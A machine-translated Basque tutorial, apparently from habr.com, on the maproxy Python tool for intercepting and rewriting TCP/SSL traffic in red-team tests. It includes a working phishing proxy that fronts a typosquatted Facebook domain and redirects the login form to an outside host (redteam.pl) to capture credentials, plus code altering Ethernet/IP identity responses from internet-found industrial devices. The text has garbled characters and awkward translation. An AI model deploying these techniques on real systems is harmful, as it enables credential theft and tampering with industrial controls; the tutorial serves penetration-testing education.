Ikastaroa hasi bezperan prestatu zen artikuluaren itzulpena
abstraktu
Hainbat segurtasun-ebaluazio motak, ohiko sartze-probak eta Red Team-eko eragiketak, IoT/ICS gailuak eta SCADA hackeatzea, sareko protokolo bitarrekin lan egitea dakar, hau da, funtsean, bezeroaren eta xedearen arteko sareko datuak atzematea eta aldatzea. Sareko trafikoa usnatzea ez da lan zaila, Wireshark, Tcpdump edo Scapy bezalako tresnak baititugu, baina badirudi aldaketak lan gehiago eskatzen duela, sareko datuak irakurtzeko, iragazteko, aldatzeko interfaze mota bat izan beharko baitugu. hegan eta bidali helburuko ostalarira ia denbora errealean. Horrez gain, aproposa litzateke tresna horrek automatikoki hainbat konexio paralelorekin funtzionatuko balu eta script-en bidez pertsonaliza daiteke.
Egun batean, izeneko tresna bat aurkitu nuen
, dokumentazioak azkar argi utzi zidan hori maproxy
- Behar dudana besterik ez. TCP proxy nahiko sinplea, polifazetikoa eta erraz konfiguragarria da. Tresna hau hainbat aplikazio nahiko konplexutan probatu nuen, ICS gailuetan barne (pakete asko sortzen dituztenak) konexio paralelo asko kudeatzen zituen ikusteko, eta tresnak ondo funtzionatu zuen.
Artikulu honek sareko datuak hegan erabiliz prozesatzen aurkeztuko zaitu maproxy
.
ΠΠ±Π·ΠΎΡ
Tool maproxy
Tornado-n oinarritzen da, Python-en sare asinkronoen esparru ezagun eta heldu batean.
Oro har, hainbat modutan funtziona dezake:
TCP:TCP
β zifratu gabeko TCP konexioak;TCP:SSL
ΠΈSSL:TCP
β norabide bakarreko enkriptatzearekin;SSL:SSL
β bi norabideko enkriptatzea.
Liburutegi gisa dator. Hasiera azkar bat izateko, nagusia islatzen duten adibide-fitxategiak erabil ditzakezu
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1. kasua - bi norabideko proxy sinplea
Oinarrituta tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Lehenespenez ProxyServer()
bi argumentu hartzen ditu: konexioaren kokapena eta helburuko ataka. server.listen()
argumentu bat hartzen du: sarrerako konexioa entzuteko ataka.
Gidoia exekutatzen:
# python tcp2tcp.py
Proba exekutatzeko, tokiko SSH zerbitzari batera konektatuko gara gure proxy script-en bidez, zeinak entzuten duen. 2222/tcp
ataka eta ataka estandar batera konektatzen da 22/tcp
SSH zerbitzariak:
Ongietorri pankartak jakinarazten dizu gure adibideko script-ak sareko trafikoa behar bezala proxy egin duela.
2. kasua β datuen aldaketa
Beste demo script bat logging_proxy.py
sareko datuekin elkarreragiteko aproposa. Fitxategiko iruzkinek zure helburua lortzeko alda ditzakezun klase-metodoak deskribatzen dituzte:
Interesgarriena hemen dago:
on_c2p_done_read
β bezerotik zerbitzarirako bidean datuak atzematea;on_p2s_done_read
- alderantziz.
Saia gaitezen zerbitzariak bezeroari itzultzen dion SSH banner-a aldatzen:
[β¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[β¦]
Exekutatu gidoia:
Ikus dezakezunez, bezeroa engainatu egin zen, SSH zerbitzariaren izena aldatu zitzaiolako Β«DumnySSHΒ»
.
3. kasua - phishing web orri sinplea
Tresna hau erabiltzeko modu amaigabeak daude. Oraingoan, Talde Gorriaren operazioen aldetik gauza praktikoago batean zentratuko gara. Imita dezagun helmuga orria m.facebook.com
eta erabili domeinu pertsonalizatu bat nahita idatzitako akats batekin, adibidez, m.facebok.com
. Erakusketa helburuetarako, demagun domeinua guk erregistratuta dugula.
Zifratu gabeko sare konexioa ezarriko dugu gure biktimen proxyarekin eta SSL Streamekin Facebook zerbitzariarekin (31.13.81.36
). Adibide honek funtziona dezan, HTTP ostalariaren goiburua ordezkatu eta ostalari-izen zuzena sartu behar dugu, eta erantzunen konpresioa ere desgaituko dugu, edukietara erraz sartu ahal izateko. Azken finean, HTML inprimakia ordezkatuko dugu, Facebook-en zerbitzarien ordez saioa hasteko kredentzialak bidal ditzagun:
[β¦]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/eu/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[β¦]
Laburbilduz:
Ikus dezakezunez, jatorrizko gunea behar bezala ordezkatu ahal izan dugu.
4. kasua - Ethernet/IP porturatzea
Denbora dezente daramat gailu eta software industrialekin (ICS/SCADA) jorratzen, hala nola, kontroladore programagarriak (PLC), I/O moduluak, unitateak, erreleak, eskailera programatzeko inguruneak eta askoz gehiago. Kasu hau gauza industrialak gustuko dituztenentzat da. Horrelako irtenbideak pirateatzea sareko protokoloekin aktiboki jolastea dakar. Hurrengo adibidean, ICS/SCADA sareko trafikoa nola alda dezakezun erakutsi nahiko nuke.
Horretarako honako hau beharko duzu:
- Sare sniffer, adibidez, Wireshark;
- Ethernet/IP edo SIP gailu bat besterik ez, Shodan zerbitzua erabiliz aurki dezakezu;
- Gure gidoia oinarritzen da
maproxy
.
Lehenik eta behin, ikus dezagun CIP-ren (Common Industrial Protocol) identifikazio-erantzun tipikoa nolakoa den:
Gailuaren identifikazioa Ethernet/IP protokoloa erabiliz lortzen da, hau da, CIP bezalako kontrol protokoloak biltzen dituen Ethernet industrialaren protokoloaren bertsio hobetua. Pantaila-argazkian ikusgai dagoen nabarmendutako ID izena aldatuko dugu "NI-IndComm Etherneterako" gure proxy script-a erabiliz. Gidoia berrerabili genezake logging_proxy.py
eta era berean klase metodoa aldatu on_p2s_done_read
, bezeroan beste identitate-izen bat ikusgai egotea nahi dugulako.
kodea:
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[β¦]
Funtsean, bi aldiz eskatu genuen gailuaren identifikazioa, bigarren erantzuna jatorrizkoa izan zen eta lehenengoa hegan aldatu zen.
Eta azkena
Nire ustez maproxy
Tresna erosoa eta sinplea, Python-en ere idatzita dagoena, beraz, zuk ere baliatu dezakezula uste dut. Jakina, sareko datuak prozesatzeko eta aldatzeko tresna konplexuagoak daude, baina arreta handiagoa ere eskatzen dute eta erabilera kasu zehatz baterako sortu ohi dira, adibidez. maproxy
sareko datuak atzemateko zure ideiak azkar inplementa ditzakezu, adibideko scriptak oso argiak baitira.
Iturria: www.habr.com